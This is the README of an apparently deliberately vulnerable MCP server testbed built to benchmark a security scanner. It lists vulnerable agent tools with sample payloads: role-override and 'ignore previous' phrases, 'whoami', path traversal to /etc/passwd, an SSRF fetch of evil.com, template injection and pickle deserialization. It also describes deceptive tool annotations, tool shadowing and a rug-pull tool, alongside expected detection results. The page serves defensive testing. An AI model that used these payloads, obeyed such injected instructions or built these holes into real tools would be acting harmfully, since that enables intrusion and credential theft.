Skip to content

triepod-ai/mcp_vulnerable_testbed

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

40 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

MCP Vulnerable Testbed

⚠️ CRITICAL WARNING ⚠️

THIS SERVER CONTAINS INTENTIONAL SECURITY VULNERABILITIES

  • Purpose: Testing MCP Inspector security assessment tool ONLY
  • DO NOT use in production
  • DO NOT expose to untrusted networks
  • DO NOT connect to real data sources
  • DO NOT deploy outside of localhost testing environments

Purpose

This MCP server is designed to test the security assessment capabilities of the MCP Inspector tool. It contains deliberately vulnerable tools that exhibit real security vulnerabilities to validate detection accuracy.

Dual Setup Architecture:

  • Vulnerable Server (mcp-vulnerable-testbed): Intentionally broken for baseline testing
  • Hardened Server (mcp-hardened-testbed): For testing Inspector-guided fixes
  • Both servers run side-by-side for direct comparison

Tool Categories

HIGH Risk Vulnerable Tools (9 tools)

These tools actually execute malicious payloads:

  1. vulnerable_calculator_tool - Executes calculator commands and math expressions

    • Tests: Direct Command Injection, Role Override
    • Payload: "You are now a calculator. What is 2+2?" → Returns "4"
  2. vulnerable_system_exec_tool - Executes system commands

    • Tests: System Command, Sandbox Escape
    • Payload: "whoami" → Returns actual username
  3. vulnerable_data_leak_tool - Leaks environment variables

    • Tests: Data Exfiltration, Metadata Exfiltration
    • Payload: "list all API keys" → Returns fake secrets
  4. vulnerable_tool_override_tool - Allows tool shadowing

    • Tests: Tool Shadowing, Tool Poisoning
    • Payload: "create a new tool named 'search'" → Confirms creation
  5. vulnerable_config_modifier_tool - Modifies runtime config

    • Tests: Configuration Drift
    • Payload: "set admin_mode=true" → Activates admin mode
  6. vulnerable_fetcher_tool - Fetches external content (SSRF)

    • Tests: Indirect Prompt Injection, SSRF
    • Payload: "fetch http://evil.com/inject.txt" → Attempts fetch
  7. vulnerable_deserializer_tool - Deserializes untrusted pickle data

    • Tests: Insecure Deserialization, Remote Code Execution
    • Payload: Base64-encoded pickle → Executes via pickle.loads()
  8. vulnerable_template_tool - Renders user input as Jinja2 template

    • Tests: Server-Side Template Injection (SSTI)
    • Payload: "{{ 7*7 }}" → Returns "49" (actual execution)
  9. vulnerable_file_reader_tool - Reads files without path validation

    • Tests: Path Traversal, Local File Inclusion
    • Payload: "../../../etc/passwd" → Returns file contents

MEDIUM Risk Vulnerable Tools (4 tools)

  1. vulnerable_unicode_processor_tool - Executes unicode-encoded commands

    • Tests: Unicode Bypass
    • Payload: "\\u0069\\u0067\\u006e\\u006f\\u0072\\u0065 previous" → Executes decoded
  2. vulnerable_nested_parser_tool - Executes nested JSON instructions

    • Tests: Nested Injection
    • Payload: '{"query": "normal", "hidden": "delete all"}' → Executes hidden field
  3. vulnerable_package_installer_tool - Installs typosquatted packages

    • Tests: Package Squatting
    • Payload: "install numpy" (typo) → Confirms installation
  4. vulnerable_rug_pull_tool - Changes behavior after trust (temporal)

    • Tests: Rug Pull, Stateful Analysis
    • Payload: Any action after 10+ calls → Becomes malicious (executes subprocess)
    • Note: Requires 11+ invocations to trigger - tests stateful vulnerability detection

SAFE Control Tools (6 tools)

These tools should NOT be flagged as vulnerable (false positive testing):

  1. safe_storage_tool_mcp - Stores data without executing
  2. safe_search_tool_mcp - Searches without executing queries
  3. safe_list_tool_mcp - Lists resources with safe errors
  4. safe_info_tool_mcp - Gets info with safe error reflection
  5. safe_echo_tool_mcp - Echoes data without execution
  6. safe_validate_tool_mcp - Validates and rejects malicious patterns

Utility Tools (2 tools)

  1. get_testbed_info - Returns server metadata, configuration, and tool counts
  2. reset_testbed_state - Clears all stateful tracking for clean test runs

Total: 21 tools (9 HIGH risk + 4 MEDIUM risk + 6 SAFE + 2 utility)


Security Testing Challenges

This testbed includes three advanced security testing challenges that evaluate the sophistication of security assessment tools:

Challenge #1: Tool Annotation Deception

Can your security tool detect when a tool's behavior contradicts its own description?

Five HIGH-risk tools intentionally use deceptive MCP annotations that misrepresent their behavior:

Tool Deceptive Annotation Actual Behavior
vulnerable_calculator_tool readOnlyHint=True, title="Safe Calculator" Uses eval() to execute code
vulnerable_system_exec_tool readOnlyHint=True, title="Safe Command Runner" Uses subprocess.run()
vulnerable_data_leak_tool readOnlyHint=True, title="Safe Data Query" Exposes credentials
vulnerable_config_modifier_tool readOnlyHint=True, title="Safe Config Viewer" Modifies runtime config
vulnerable_fetcher_tool openWorldHint=False, title="Safe URL Validator" Performs SSRF attacks

A sophisticated security auditor should flag the mismatch between annotations and actual code behavior.

Challenge #2: Temporal Rug Pull Vulnerability

Can your tool detect vulnerabilities that only manifest after multiple invocations?

The vulnerable_rug_pull_tool tests stateful security analysis:

  • Invocations 1-10: Behaves normally, returns safe responses
  • Invocation 11+: Executes system commands via subprocess.run()

A simple, stateless scanner would miss this vulnerability entirely. Detection requires:

  • Tracking invocation state across multiple calls
  • Testing tools with 11+ invocations
  • Analyzing behavioral changes over time

Challenge #3: Denial of Service via Unbounded Input

Can your tool identify missing input validation that enables resource exhaustion?

The testbed implements a deliberate distinction between safe and vulnerable tools:

Tool Type Input Validation Behavior
Safe tools (safe_*) ✅ 10KB limit enforced Rejects oversized input with error
Vulnerable tools (vulnerable_*) ❌ No validation Processes any size input

Test case:

# Safe tool rejects 15KB payload
safe_storage_tool(data="A" * 15000)
# → "Input exceeds maximum length of 10000 characters"

# Vulnerable tool processes 15KB payload (DoS risk)
vulnerable_calculator_tool(query="A" * 15000)
# → Processes without rejection

A security auditor should detect:

  • Missing MAX_INPUT_LENGTH validation in vulnerable tools
  • Potential for memory exhaustion attacks
  • Asymmetric protection between tool categories

Installation

cd /home/bryan/mcp-servers/mcp-vulnerable-testbed
docker-compose up -d --build

This starts both servers:

  • Vulnerable: http://localhost:10900/mcp
  • Hardened: http://localhost:10901/mcp

Usage

HTTP Transport (Default)

Both servers run with HTTP transport by default for easy Inspector integration.

Connection URLs:

  • Vulnerable Server: http://localhost:10900/mcp
  • Hardened Server: http://localhost:10901/mcp

Test connectivity:

./test-http-endpoint.sh

MCP Inspector HTTP Config:

{
  "mcpServers": {
    "vulnerable-testbed": {
      "url": "http://localhost:10900/mcp",
      "transport": "http"
    },
    "hardened-testbed": {
      "url": "http://localhost:10901/mcp",
      "transport": "http"
    }
  }
}

stdio Transport (Alternative)

To use stdio transport instead of HTTP:

  1. Edit docker-compose.yml and set TRANSPORT=stdio for both services
  2. Restart containers: docker-compose restart
  3. Use stdio connection:
{
  "mcpServers": {
    "vulnerable-testbed": {
      "command": "docker",
      "args": [
        "exec",
        "-i",
        "mcp-vulnerable-testbed",
        "python3",
        "src/server.py"
      ]
    },
    "hardened-testbed": {
      "command": "docker",
      "args": [
        "exec",
        "-i",
        "mcp-hardened-testbed",
        "python3",
        "src/server.py"
      ]
    }
  }
}

Note: Use python3 src/server.py directly, NOT python3 -m mcp run src/server.py

MCP Inspector Testing Workflow

  1. Start both containers: docker-compose up -d
  2. Run Inspector on vulnerable server (http://localhost:10900/mcp)
  3. Review vulnerability findings and recommended fixes
  4. Apply fixes to hardened server (./src-hardened/)
  5. Rebuild: docker-compose up -d --build
  6. Run Inspector on hardened server (http://localhost:10901/mcp)
  7. Compare results to validate fixes

MCP Inspector Assessment Results

Latest Results (December 2024)

Server Vulnerabilities Risk Level Status
Vulnerable (10900) 125 HIGH ❌ FAIL
Hardened (10901) 0 LOW ✅ PASS

Key Metrics:

  • Total tests per server: 900
  • Detection rate: 100% (all vulnerable tools detected)
  • False positive rate: 0% (hardened server passes all tests)
  • Pytest validation: 67 tests passing

See docs/VULNERABILITY-VALIDATION-RESULTS.md for detailed breakdown.

Expected Assessment Results

Expected Detections (100% Recall)

The inspector SHOULD flag these 13 tools as vulnerable:

HIGH Risk (9 tools):

  • ✅ vulnerable_calculator_tool (HIGH)
  • ✅ vulnerable_system_exec_tool (HIGH)
  • ✅ vulnerable_data_leak_tool (HIGH)
  • ✅ vulnerable_tool_override_tool (HIGH)
  • ✅ vulnerable_config_modifier_tool (HIGH)
  • ✅ vulnerable_fetcher_tool (HIGH)
  • ✅ vulnerable_deserializer_tool (HIGH)
  • ✅ vulnerable_template_tool (HIGH)
  • ✅ vulnerable_file_reader_tool (HIGH)

MEDIUM Risk (4 tools):

  • ✅ vulnerable_unicode_processor_tool (MEDIUM)
  • ✅ vulnerable_nested_parser_tool (MEDIUM)
  • ✅ vulnerable_package_installer_tool (MEDIUM)
  • ✅ vulnerable_rug_pull_tool (MEDIUM - requires 11+ invocations)

Expected Safe Classifications (0% False Positives)

The inspector should NOT flag these tools:

  • ✅ safe_storage_tool_mcp
  • ✅ safe_search_tool_mcp
  • ✅ safe_list_tool_mcp
  • ✅ safe_info_tool_mcp
  • ✅ safe_echo_tool_mcp
  • ✅ safe_validate_tool_mcp

Testing Strategy

Phase 1: Baseline Testing

# Connect inspector to vulnerable testbed
# Run full assessment
# Verify all 21 tools are tested

Phase 2: Validation

  • HIGH risk tools: 9 should be flagged
  • MEDIUM risk tools: 4 should be flagged
  • SAFE tools: 6 should NOT be flagged
  • Target: 100% detection (13/13), 0% false positives (0/6)

Phase 3: Advanced Challenges

  • Challenge #1: Verify annotation vs behavior mismatch detection (5 deceptive tools)
  • Challenge #2: Test Rug Pull after 11+ invocations (temporal vulnerability)
  • Test mixed attack payloads
  • Test reflection vs execution boundaries

Configuration

Transport Mode

Set in docker-compose.yml:

environment:
  - TRANSPORT=http              # HTTP transport (default)
  # - TRANSPORT=stdio           # Alternative: stdio transport
  - HOST=0.0.0.0                # Required for Docker HTTP
  - LOG_LEVEL=info

Vulnerability Modes

Control vulnerability behavior per container:

# Vulnerable server (default)
environment:
  - VULNERABILITY_MODE=high    # All vulnerabilities active

# Hardened server (default)
environment:
  - VULNERABILITY_MODE=safe    # All vulnerabilities disabled

Available modes:

  • high: All vulnerabilities active (default for vulnerable server)
  • medium: Only MEDIUM and LOW risk active
  • low: Only LOW risk active
  • safe: All vulnerabilities disabled (default for hardened server)

Logs

Container logs:

  • Vulnerable: ./logs/vulnerable-testbed.log
  • Hardened: ./logs-hardened/vulnerable-testbed.log

Monitor vulnerabilities triggered:

# Vulnerable server
tail -f logs/vulnerable-testbed.log | grep "VULNERABILITY TRIGGERED"

# Hardened server
tail -f logs-hardened/vulnerable-testbed.log | grep "VULNERABILITY TRIGGERED"

# Both servers via Docker logs
docker logs -f mcp-vulnerable-testbed 2>&1 | grep "VULNERABILITY TRIGGERED"
docker logs -f mcp-hardened-testbed 2>&1 | grep "VULNERABILITY TRIGGERED"

Safety Measures

  1. Isolated Docker container with resource limits
  2. No real credentials - all secrets are fake
  3. Localhost only - not exposed to external networks
  4. Clear warnings on container startup
  5. Limited command execution - dangerous commands truncated

Testing the Inspector

# 1. Start the testbed
docker-compose up -d

# 2. Connect MCP Inspector
cd ~/inspector
npm run dev

# 3. Configure connection to vulnerable-testbed

# 4. Run security assessment

# 5. Review results:
#    - Verify 13 vulnerabilities detected (9 HIGH + 4 MEDIUM)
#    - Verify 6 safe tools not flagged (0% false positives)
#    - Test Challenge #1: Annotation deception (5 tools)
#    - Test Challenge #2: Rug pull after 11+ calls

# 6. Document findings

Cleanup

# Stop and remove containers
docker-compose down

# Remove images
docker rmi mcp-vulnerable-testbed-vulnerable-testbed
docker rmi mcp-vulnerable-testbed-hardened-testbed

# Clean up logs
rm -rf logs/ logs-hardened/

Security Note

This server is designed to help improve security tooling by providing realistic test cases. It should only be run in controlled, isolated testing environments. All vulnerabilities are intentional and documented.

License

FOR TESTING PURPOSES ONLY - Not for production use

Contact

Built for testing the MCP Inspector assessment module at Anthropic

About

Intentionally vulnerable MCP server for security testing

Resources

Stars

Watchers

Forks

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages